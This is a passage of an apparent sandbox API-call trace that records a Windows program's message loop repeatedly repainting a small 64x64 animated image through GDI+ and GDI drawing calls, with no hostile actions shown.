0x0 [0176.710] GdipIsInfiniteRegion (region=0x1d2e7c10, graphics=0x1de4fd10, result=0x15dc50) returned 0x0 [0176.710] GdipSaveGraphics (graphics=0x1de4fd10, state=0x15dd20) returned 0x0 [0176.710] GetWindowTextLengthW (hWnd=0x2031e) returned 0 [0176.710] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0176.710] GetSystemMetrics (nIndex=42) returned 0 [0176.710] CoTaskMemAlloc (cb=0x6) returned 0x1e91eca0 [0176.710] GetWindowTextW (in: hWnd=0x2031e, lpString=0x1e91eca0, nMaxCount=1 | out: lpString="") returned 0 [0176.710] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xd, wParam=0x1, lParam=0x1e91eca0) returned 0x0 [0176.710] CoTaskMemFree (pv=0x1e91eca0) [0176.711] GetClientRect (in: hWnd=0x2031e, lpRect=0x15dc80 | out: lpRect=0x15dc80) returned 1 [0176.711] GdipCreateRegion (region=0x15d710) returned 0x0 [0176.711] GdipGetClip (graphics=0x1de4fd10, region=0x1de43ea0) returned 0x0 [0176.711] GdipCreateMatrix (matrix=0x15d710) returned 0x0 [0176.711] GdipGetWorldTransform (graphics=0x1de4fd10, matrix=0x1dc0a590) returned 0x0 [0176.711] GdipIsMatrixIdentity (matrix=0x1dc0a590, result=0x15d770) returned 0x0 [0176.711] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1e7b48a0 [0176.711] GdipGetMatrixElements (matrix=0x1dc0a590, matrixOut=0x1e7b48a0) returned 0x0 [0176.712] LocalFree (hMem=0x1e7b48a0) returned 0x0 [0176.713] GdipCombineRegionRegion (region=0x1de43ea0, region2=0x1d2e7c10, combineMode=0x1) returned 0x0 [0176.713] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1e7b48a0 [0176.713] GdipGetMatrixElements (matrix=0x1dc0a590, matrixOut=0x1e7b48a0) returned 0x0 [0176.714] LocalFree (hMem=0x1e7b48a0) returned 0x0 [0176.714] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0176.714] GdipDeleteMatrix (matrix=0x1dc0a590) returned 0x0 [0176.714] GdipIsInfiniteRegion (region=0x1de43ea0, graphics=0x1de4fd10, result=0x15d7c0) returned 0x0 [0176.714] GdipIsInfiniteRegion (region=0x1de43ea0, graphics=0x1de4fd10, result=0x15d780) returned 0x0 [0176.714] GdipGetRegionHRgn (region=0x1de43ea0, graphics=0x1de4fd10, hRgn=0x15d780) returned 0x0 [0176.714] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0176.714] GdipDeleteRegion (region=0x1de43ea0) returned 0x0 [0176.714] GdipGetDC (graphics=0x1de4fd10, hdc=0x15d7f0) returned 0x0 [0176.714] GetCurrentObject (hdc=0x28010bc1, type=0x1) returned 0x1b00017 [0176.714] GetCurrentObject (hdc=0x28010bc1, type=0x2) returned 0x1900010 [0176.715] GetCurrentObject (hdc=0x28010bc1, type=0x7) returned 0x1a05067e [0176.715] GetCurrentObject (hdc=0x28010bc1, type=0x6) returned 0x18a002e [0176.715] SaveDC (hdc=0x28010bc1) returned 1 [0176.715] CreateRectRgn (x1=0, y1=0, x2=0, y2=0) returned 0x3b040b8a [0176.715] GetClipRgn (hdc=0x28010bc1, hrgn=0x3b040b8a) returned 0 [0176.715] SelectClipRgn (hdc=0x28010bc1, hrgn=0x6b0407c3) returned 2 [0176.715] DeleteObject (ho=0x3b040b8a) returned 1 [0176.715] DeleteObject (ho=0x6b0407c3) returned 1 [0176.715] OffsetViewportOrgEx (in: hdc=0x28010bc1, x=0, y=0, lppt=0x2761018 | out: lppt=0x2761018) returned 1 [0176.715] GetNearestColor (hdc=0x28010bc1, color=0xffffff) returned 0xffffff [0176.716] CreateSolidBrush (color=0xffffff) returned 0x43100190 [0176.716] FillRect (hDC=0x28010bc1, lprc=0x15d7c0, hbr=0x43100190) returned 1 [0176.716] DeleteObject (ho=0x43100190) returned 1 [0176.716] RestoreDC (hdc=0x28010bc1, nSavedDC=-1) returned 1 [0176.716] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0176.717] GdipReleaseDC (graphics=0x1de4fd10, hdc=0x28010bc1) returned 0x0 [0176.717] GdipRestoreGraphics (graphics=0x1de4fd10, state=0xfffffffffb600dbd) returned 0x0 [0176.717] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0176.717] GdipDeleteRegion (region=0x1d2e7c10) returned 0x0 [0176.717] GetWindowTextLengthW (hWnd=0x2031e) returned 0 [0176.717] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0176.717] GetSystemMetrics (nIndex=42) returned 0 [0176.717] CoTaskMemAlloc (cb=0x6) returned 0x1e91eca0 [0176.717] GetWindowTextW (in: hWnd=0x2031e, lpString=0x1e91eca0, nMaxCount=1 | out: lpString="") returned 0 [0176.717] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xd, wParam=0x1, lParam=0x1e91eca0) returned 0x0 [0176.718] CoTaskMemFree (pv=0x1e91eca0) [0176.718] GdipImageSelectActiveFrame (image=0x1dc21b40, dimensionID=0x15db10*(Data1=0x6aedbd6d, Data2=0x3fb5, Data3=0x418a, Data4=([0]=0x83, [1]=0xa6, [2]=0x7f, [3]=0x45, [4]=0x22, [5]=0x9d, [6]=0xc8, [7]=0x72)), frameIndex=0x1c) returned 0x0 [0176.720] GdipGetImageWidth (image=0x1dc21b40, width=0x15da30) returned 0x0 [0176.720] GdipGetImageHeight (image=0x1dc21b40, height=0x15da30) returned 0x0 [0176.720] GdipDrawImageRectI (graphics=0x1de4fd10, image=0x1dc21b40, x=0, y=0, width=64, height=64) returned 0x0 [0176.720] GdipGetDC (graphics=0x1de4fd10, hdc=0x15dbf0) returned 0x0 [0176.720] BitBlt (hdc=0x2d010b73, x=0, y=0, cx=64, cy=64, hdcSrc=0x28010bc1, x1=0, y1=0, rop=0xcc0020) returned 1 [0176.720] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0176.721] GdipReleaseDC (graphics=0x1de4fd10, hdc=0x28010bc1) returned 0x0 [0176.721] SelectObject (hdc=0x28010bc1, h=0x185000f) returned 0x1a05067e [0176.721] DeleteDC (hdc=0x28010bc1) returned 1 [0176.721] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0176.721] GdipDeleteGraphics (graphics=0x1de4fd10) returned 0x0 [0176.721] SelectPalette (hdc=0x2d010b73, hPal=0x188000b, bForceBkgd=0) returned 0x32080181 [0176.721] EndPaint (hWnd=0x2031e, lpPaint=0x15dcf8) returned 1 [0176.721] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 0 [0176.721] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 0 [0176.721] WaitMessage () returned 1 [0176.846] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 1 [0176.846] IsWindowUnicode (hWnd=0x2031e) returned 1 [0176.846] GetMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x15e900) returned 1 [0176.846] TranslateMessage (lpMsg=0x15e910) returned 0 [0176.846] DispatchMessageW (lpMsg=0x15e910) returned 0x0 [0176.847] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x15d660 | out: lpdwProcessId=0x15d660) returned 0xec0 [0176.847] GetCurrentThreadId () returned 0xec0 [0176.847] InvalidateRect (hWnd=0x2031e, lpRect=0x0, bErase=1) returned 1 [0176.847] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 1 [0176.847] IsWindowUnicode (hWnd=0x2031e) returned 1 [0176.847] GetMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x15e900) returned 1 [0176.847] TranslateMessage (lpMsg=0x15e910) returned 0 [0176.847] DispatchMessageW (lpMsg=0x15e910) returned 0x0 [0176.847] BeginPaint (in: hWnd=0x2031e, lpPaint=0x15dce8 | out: lpPaint=0x15dce8) returned 0x2d010b73 [0176.847] SelectPalette (hdc=0x2d010b73, hPal=0x32080181, bForceBkgd=1) returned 0x188000b [0176.847] CreateCompatibleDC (hdc=0x2d010b73) returned 0x29010bc1 [0176.848] SelectObject (hdc=0x29010bc1, h=0x1a05067e) returned 0x185000f [0176.848] GdipCreateFromHDC (hdc=0x29010bc1, graphics=0x15daf0) returned 0x0 [0176.848] GdipTranslateWorldTransform (graphics=0x1de4fd10, dx=0x0, dy=0x7fef2dbba58, order=0x0) returned 0x0 [0176.848] GdipSetClipRectI (graphics=0x1de4fd10, x=0, y=0, width=64, height=64, combineMode=0x0) returned 0x0 [0176.848] GdipCreateMatrix (matrix=0x15dc20) returned 0x0 [0176.848] GdipGetWorldTransform (graphics=0x1de4fd10, matrix=0x1dc0a510) returned 0x0 [0176.848] GdipIsMatrixIdentity (matrix=0x1dc0a510, result=0x15dc80) returned 0x0 [0176.848] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1e7b48a0 [0176.848] GdipGetMatrixElements (matrix=0x1dc0a510, matrixOut=0x1e7b48a0) returned 0x0 [0176.849] LocalFree (hMem=0x1e7b48a0) returned 0x0 [0176.849] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0176.849] GdipDeleteMatrix (matrix=0x1dc0a510) returned 0x0 [0176.849] GdipCreateRegion (region=0x15dc20) returned 0x0 [0176.849] GdipGetClip (graphics=0x1de4fd10, region=0x1de43de0) returned 0x0 [0176.849] GdipIsInfiniteRegion (region=0x1de43de0, graphics=0x1de4fd10, result=0x15dc50) returned 0x0 [0176.850] GdipSaveGraphics (graphics=0x1de4fd10, state=0x15dd20) returned 0x0 [0176.850] GetWindowTextLengthW (hWnd=0x2031e) returned 0 [0176.850] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0176.850] GetSystemMetrics (nIndex=42) returned 0 [0176.850] CoTaskMemAlloc (cb=0x6) returned 0x1e91eca0 [0176.850] GetWindowTextW (in: hWnd=0x2031e, lpString=0x1e91eca0, nMaxCount=1 | out: lpString="") returned 0 [0176.850] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xd, wParam=0x1, lParam=0x1e91eca0) returned 0x0 [0176.850] CoTaskMemFree (pv=0x1e91eca0) [0176.850] GetClientRect (in: hWnd=0x2031e, lpRect=0x15dc80 | out: lpRect=0x15dc80) returned 1 [0176.850] GdipCreateRegion (region=0x15d710) returned 0x0 [0176.850] GdipGetClip (graphics=0x1de4fd10, region=0x1de43ea0) returned 0x0 [0176.850] GdipCreateMatrix (matrix=0x15d710) returned 0x0 [0176.850] GdipGetWorldTransform (graphics=0x1de4fd10, matrix=0x1dc0a590) returned 0x0 [0176.851] GdipIsMatrixIdentity (matrix=0x1dc0a590, result=0x15d770) returned 0x0 [0176.851] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1e7b48a0 [0176.851] GdipGetMatrixElements (matrix=0x1dc0a590, matrixOut=0x1e7b48a0) returned 0x0 [0176.851] LocalFree (hMem=0x1e7b48a0) returned 0x0 [0176.851] GdipCombineRegionRegion (region=0x1de43ea0, region2=0x1de43de0, combineMode=0x1) returned 0x0 [0176.851] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1e7b48a0 [0176.851] GdipGetMatrixElements (matrix=0x1dc0a590, matrixOut=0x1e7b48a0) returned 0x0 [0176.852] LocalFree (hMem=0x1e7b48a0) returned 0x0 [0176.852] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0176.852] GdipDeleteMatrix (matrix=0x1dc0a590) returned 0x0 [0176.852] GdipIsInfiniteRegion (region=0x1de43ea0, graphics=0x1de4fd10, result=0x15d7c0) returned 0x0 [0176.852] GdipIsInfiniteRegion (region=0x1de43ea0, graphics=0x1de4fd10, result=0x15d780) returned 0x0 [0176.852] GdipGetRegionHRgn (region=0x1de43ea0, graphics=0x1de4fd10, hRgn=0x15d780) returned 0x0 [0176.852] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0176.852] GdipDeleteRegion (region=0x1de43ea0) returned 0x0 [0176.852] GdipGetDC (graphics=0x1de4fd10, hdc=0x15d7f0) returned 0x0 [0176.853] GetCurrentObject (hdc=0x29010bc1, type=0x1) returned 0x1b00017 [0176.853] GetCurrentObject (hdc=0x29010bc1, type=0x2) returned 0x1900010 [0176.853] GetCurrentObject (hdc=0x29010bc1, type=0x7) returned 0x1a05067e [0176.853] GetCurrentObject (hdc=0x29010bc1, type=0x6) returned 0x18a002e [0176.853] SaveDC (hdc=0x29010bc1) returned 1 [0176.853] CreateRectRgn (x1=0, y1=0, x2=0, y2=0) returned 0x6c0407c3 [0176.853] GetClipRgn (hdc=0x29010bc1, hrgn=0x6c0407c3) returned 0 [0176.853] SelectClipRgn (hdc=0x29010bc1, hrgn=0x3c040b8a) returned 2 [0176.853] DeleteObject (ho=0x6c0407c3) returned 1 [0176.853] DeleteObject (ho=0x3c040b8a) returned 1 [0176.853] OffsetViewportOrgEx (in: hdc=0x29010bc1, x=0, y=0, lppt=0x2762310 | out: lppt=0x2762310) returned 1 [0176.853] GetNearestColor (hdc=0x29010bc1, color=0xffffff) returned 0xffffff [0176.854] CreateSolidBrush (color=0xffffff) returned 0x44100190 [0176.854] FillRect (hDC=0x29010bc1, lprc=0x15d7c0, hbr=0x44100190) returned 1 [0176.854] DeleteObject (ho=0x44100190) returned 1 [0176.854] RestoreDC (hdc=0x29010bc1, nSavedDC=-1) returned 1 [0176.854] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0176.854] GdipReleaseDC (graphics=0x1de4fd10, hdc=0x29010bc1) returned 0x0 [0176.854] GdipRestoreGraphics (graphics=0x1de4fd10, state=0xfffffffffb5e0dbd) returned 0x0 [0176.855] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0176.855] GdipDeleteRegion (region=0x1de43de0) returned 0x0 [0176.855] GetWindowTextLengthW (hWnd=0x2031e) returned 0 [0176.855] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0176.855] GetSystemMetrics (nIndex=42) returned 0 [0176.855] CoTaskMemAlloc (cb=0x6) returned 0x1e91eca0 [0176.855] GetWindowTextW (in: hWnd=0x2031e, lpString=0x1e91eca0, nMaxCount=1 | out: lpString="") returned 0 [0176.855] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xd, wParam=0x1, lParam=0x1e91eca0) returned 0x0 [0176.855] CoTaskMemFree (pv=0x1e91eca0) [0176.855] GdipGetImageWidth (image=0x1dc21b40, width=0x15da30) returned 0x0 [0176.855] GdipGetImageHeight (image=0x1dc21b40, height=0x15da30) returned 0x0 [0176.855] GdipDrawImageRectI (graphics=0x1de4fd10, image=0x1dc21b40, x=0, y=0, width=64, height=64) returned 0x0 [0176.856] GdipGetDC (graphics=0x1de4fd10, hdc=0x15dbf0) returned 0x0 [0176.856] BitBlt (hdc=0x2d010b73, x=0, y=0, cx=64, cy=64, hdcSrc=0x29010bc1, x1=0, y1=0, rop=0xcc0020) returned 1 [0176.856] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0176.856] GdipReleaseDC (graphics=0x1de4fd10, hdc=0x29010bc1) returned 0x0 [0176.856] SelectObject (hdc=0x29010bc1, h=0x185000f) returned 0x1a05067e [0176.856] DeleteDC (hdc=0x29010bc1) returned 1 [0176.856] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0176.856] GdipDeleteGraphics (graphics=0x1de4fd10) returned 0x0 [0176.856] SelectPalette (hdc=0x2d010b73, hPal=0x188000b, bForceBkgd=0) returned 0x32080181 [0176.857] EndPaint (hWnd=0x2031e, lpPaint=0x15dcf8) returned 1 [0176.857] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 0 [0176.857] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 0 [0176.857] WaitMessage () returned 1 [0176.972] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 1 [0176.972] IsWindowUnicode (hWnd=0x2031e) returned 1 [0176.972] GetMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x15e900) returned 1 [0176.972] TranslateMessage (lpMsg=0x15e910) returned 0 [0176.972] DispatchMessageW (lpMsg=0x15e910) returned 0x0 [0176.972] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x15d660 | out: lpdwProcessId=0x15d660) returned 0xec0 [0176.972] GetCurrentThreadId () returned 0xec0 [0176.972] InvalidateRect (hWnd=0x2031e, lpRect=0x0, bErase=1) returned 1 [0176.972] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 1 [0176.972] IsWindowUnicode (hWnd=0x2031e) returned 1 [0176.972] GetMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x15e900) returned 1 [0176.972] TranslateMessage (lpMsg=0x15e910) returned 0 [0176.972] DispatchMessageW (lpMsg=0x15e910) returned 0x0 [0176.972] BeginPaint (in: hWnd=0x2031e, lpPaint=0x15dce8 | out: lpPaint=0x15dce8) returned 0x2d010b73 [0176.972] SelectPalette (hdc=0x2d010b73, hPal=0x32080181, bForceBkgd=1) returned 0x188000b [0176.973] CreateCompatibleDC (hdc=0x2d010b73) returned 0x2a010bc1 [0176.973] SelectObject (hdc=0x2a010bc1, h=0x1a05067e) returned 0x185000f [0176.973] GdipCreateFromHDC (hdc=0x2a010bc1, graphics=0x15daf0) returned 0x0 [0176.973] GdipTranslateWorldTransform (graphics=0x1de4fd10, dx=0x0, dy=0x7fef2dbba58, order=0x0) returned 0x0 [0176.973] GdipSetClipRectI (graphics=0x1de4fd10, x=0, y=0, width=64, height=64, combineMode=0x0) returned 0x0 [0176.973] GdipCreateMatrix (matrix=0x15dc20) returned 0x0 [0176.973] GdipGetWorldTransform (graphics=0x1de4fd10, matrix=0x1dc0a510) returned 0x0 [0176.973] GdipIsMatrixIdentity (matrix=0x1dc0a510, result=0x15dc80) returned 0x0 [0176.973] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1e7b48a0 [0176.974] GdipGetMatrixElements (matrix=0x1dc0a510, matrixOut=0x1e7b48a0) returned 0x0 [0176.974] LocalFree (hMem=0x1e7b48a0) returned 0x0 [0176.974] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0176.974] GdipDeleteMatrix (matrix=0x1dc0a510) returned 0x0 [0176.975] GdipCreateRegion (region=0x15dc20) returned 0x0 [0176.975] GdipGetClip (graphics=0x1de4fd10, region=0x1de43de0) returned 0x0 [0176.975] GdipIsInfiniteRegion (region=0x1de43de0, graphics=0x1de4fd10, result=0x15dc50) returned 0x0 [0176.975] GdipSaveGraphics (graphics=0x1de4fd10, state=0x15dd20) returned 0x0 [0176.975] GetWindowTextLengthW (hWnd=0x2031e) returned 0 [0176.975] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0176.975] GetSystemMetrics (nIndex=42) returned 0 [0176.975] CoTaskMemAlloc (cb=0x6) returned 0x1e91eca0 [0176.975] GetWindowTextW (in: hWnd=0x2031e, lpString=0x1e91eca0, nMaxCount=1 | out: lpString="") returned 0 [0176.975] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xd, wParam=0x1, lParam=0x1e91eca0) returned 0x0 [0176.975] CoTaskMemFree (pv=0x1e91eca0) [0176.975] GetClientRect (in: hWnd=0x2031e, lpRect=0x15dc80 | out: lpRect=0x15dc80) returned 1 [0176.975] GdipCreateRegion (region=0x15d710) returned 0x0 [0176.976] GdipGetClip (graphics=0x1de4fd10, region=0x1de43ea0) returned 0x0 [0176.976] GdipCreateMatrix (matrix=0x15d710) returned 0x0 [0176.976] GdipGetWorldTransform (graphics=0x1de4fd10, matrix=0x1dc0a590) returned 0x0 [0176.976] GdipIsMatrixIdentity (matrix=0x1dc0a590, result=0x15d770) returned 0x0 [0176.976] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1e7b48a0 [0176.976] GdipGetMatrixElements (matrix=0x1dc0a590, matrixOut=0x1e7b48a0) returned 0x0 [0176.977] LocalFree (hMem=0x1e7b48a0) returned 0x0 [0176.977] GdipCombineRegionRegion (region=0x1de43ea0, region2=0x1de43de0, combineMode=0x1) returned 0x0 [0176.977] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1e7b48a0 [0176.977] GdipGetMatrixElements (matrix=0x1dc0a590, matrixOut=0x1e7b48a0) returned 0x0 [0176.977] LocalFree (hMem=0x1e7b48a0) returned 0x0 [0176.977] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0176.977] GdipDeleteMatrix (matrix=0x1dc0a590) returned 0x0 [0176.978] GdipIsInfiniteRegion (region=0x1de43ea0, graphics=0x1de4fd10, result=0x15d7c0) returned 0x0 [0176.978] GdipIsInfiniteRegion (region=0x1de43ea0, graphics=0x1de4fd10, result=0x15d780) returned 0x0 [0176.978] GdipGetRegionHRgn (region=0x1de43ea0, graphics=0x1de4fd10, hRgn=0x15d780) returned 0x0 [0176.978] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0176.978] GdipDeleteRegion (region=0x1de43ea0) returned 0x0 [0176.978] GdipGetDC (graphics=0x1de4fd10, hdc=0x15d7f0) returned 0x0 [0176.978] GetCurrentObject (hdc=0x2a010bc1, type=0x1) returned 0x1b00017 [0176.978] GetCurrentObject (hdc=0x2a010bc1, type=0x2) returned 0x1900010 [0176.978] GetCurrentObject (hdc=0x2a010bc1, type=0x7) returned 0x1a05067e [0176.978] GetCurrentObject (hdc=0x2a010bc1, type=0x6) returned 0x18a002e [0176.978] SaveDC (hdc=0x2a010bc1) returned 1 [0176.978] CreateRectRgn (x1=0, y1=0, x2=0, y2=0) returned 0x3d040b8a [0176.979] GetClipRgn (hdc=0x2a010bc1, hrgn=0x3d040b8a) returned 0 [0176.979] SelectClipRgn (hdc=0x2a010bc1, hrgn=0x6d0407c3) returned 2 [0176.979] DeleteObject (ho=0x3d040b8a) returned 1 [0176.979] DeleteObject (ho=0x6d0407c3) returned 1 [0176.979] OffsetViewportOrgEx (in: hdc=0x2a010bc1, x=0, y=0, lppt=0x2762c48 | out: lppt=0x2762c48) returned 1 [0176.979] GetNearestColor (hdc=0x2a010bc1, color=0xffffff) returned 0xffffff [0176.979] CreateSolidBrush (color=0xffffff) returned 0x45100190 [0176.979] FillRect (hDC=0x2a010bc1, lprc=0x15d7c0, hbr=0x45100190) returned 1 [0176.979] DeleteObject (ho=0x45100190) returned 1 [0176.979] RestoreDC (hdc=0x2a010bc1, nSavedDC=-1) returned 1 [0176.980] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0176.980] GdipReleaseDC (graphics=0x1de4fd10, hdc=0x2a010bc1) returned 0x0 [0176.980] GdipRestoreGraphics (graphics=0x1de4fd10, state=0xfffffffffb5c0dbd) returned 0x0 [0176.980] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0176.980] GdipDeleteRegion (region=0x1de43de0) returned 0x0 [0176.980] GetWindowTextLengthW (hWnd=0x2031e) returned 0 [0176.980] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0176.980] GetSystemMetrics (nIndex=42) returned 0 [0176.980] CoTaskMemAlloc (cb=0x6) returned 0x1e91eca0 [0176.980] GetWindowTextW (in: hWnd=0x2031e, lpString=0x1e91eca0, nMaxCount=1 | out: lpString="") returned 0 [0176.980] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xd, wParam=0x1, lParam=0x1e91eca0) returned 0x0 [0176.980] CoTaskMemFree (pv=0x1e91eca0) [0176.980] GdipImageSelectActiveFrame (image=0x1dc21b40, dimensionID=0x15db10*(Data1=0x6aedbd6d, Data2=0x3fb5, Data3=0x418a, Data4=([0]=0x83, [1]=0xa6, [2]=0x7f, [3]=0x45, [4]=0x22, [5]=0x9d, [6]=0xc8, [7]=0x72)), frameIndex=0x0) returned 0x0 [0176.982] GdipGetImageWidth (image=0x1dc21b40, width=0x15da30) returned 0x0 [0176.982] GdipGetImageHeight (image=0x1dc21b40, height=0x15da30) returned 0x0 [0176.982] GdipDrawImageRectI (graphics=0x1de4fd10, image=0x1dc21b40, x=0, y=0, width=64, height=64) returned 0x0 [0176.982] GdipGetDC (graphics=0x1de4fd10, hdc=0x15dbf0) returned 0x0 [0176.982] BitBlt (hdc=0x2d010b73, x=0, y=0, cx=64, cy=64, hdcSrc=0x2a010bc1, x1=0, y1=0, rop=0xcc0020) returned 1 [0176.982] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0176.982] GdipReleaseDC (graphics=0x1de4fd10, hdc=0x2a010bc1) returned 0x0 [0176.982] SelectObject (hdc=0x2a010bc1, h=0x185000f) returned 0x1a05067e [0176.982] DeleteDC (hdc=0x2a010bc1) returned 1 [0176.982] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0176.983] GdipDeleteGraphics (graphics=0x1de4fd10) returned 0x0 [0176.983] SelectPalette (hdc=0x2d010b73, hPal=0x188000b, bForceBkgd=0) returned 0x32080181 [0176.983] EndPaint (hWnd=0x2031e, lpPaint=0x15dcf8) returned 1 [0176.983] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 0 [0176.983] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 0 [0176.983] WaitMessage () returned 1 [0177.095] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 1 [0177.095] IsWindowUnicode (hWnd=0x2031e) returned 1 [0177.095] GetMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x15e900) returned 1 [0177.095] TranslateMessage (lpMsg=0x15e910) returned 0 [0177.095] DispatchMessageW (lpMsg=0x15e910) returned 0x0 [0177.096] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x15d660 | out: lpdwProcessId=0x15d660) returned 0xec0 [0177.096] GetCurrentThreadId () returned 0xec0 [0177.096] InvalidateRect (hWnd=0x2031e, lpRect=0x0, bErase=1) returned 1 [0177.096] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 1 [0177.096] IsWindowUnicode (hWnd=0x2031e) returned 1 [0177.096] GetMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x15e900) returned 1 [0177.096] TranslateMessage (lpMsg=0x15e910) returned 0 [0177.096] DispatchMessageW (lpMsg=0x15e910) returned 0x0 [0177.096] BeginPaint (in: hWnd=0x2031e, lpPaint=0x15dce8 | out: lpPaint=0x15dce8) returned 0x2d010b73 [0177.096] SelectPalette (hdc=0x2d010b73, hPal=0x32080181, bForceBkgd=1) returned 0x188000b [0177.096] CreateCompatibleDC (hdc=0x2d010b73) returned 0x2b010bc1 [0177.096] SelectObject (hdc=0x2b010bc1, h=0x1a05067e) returned 0x185000f [0177.096] GdipCreateFromHDC (hdc=0x2b010bc1, graphics=0x15daf0) returned 0x0 [0177.097] GdipTranslateWorldTransform (graphics=0x1de4fd10, dx=0x0, dy=0x7fef2dbba58, order=0x0) returned 0x0 [0177.097] GdipSetClipRectI (graphics=0x1de4fd10, x=0, y=0, width=64, height=64, combineMode=0x0) returned 0x0 [0177.097] GdipCreateMatrix (matrix=0x15dc20) returned 0x0 [0177.097] GdipGetWorldTransform (graphics=0x1de4fd10, matrix=0x1dc0a510) returned 0x0 [0177.097] GdipIsMatrixIdentity (matrix=0x1dc0a510, result=0x15dc80) returned 0x0 [0177.097] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 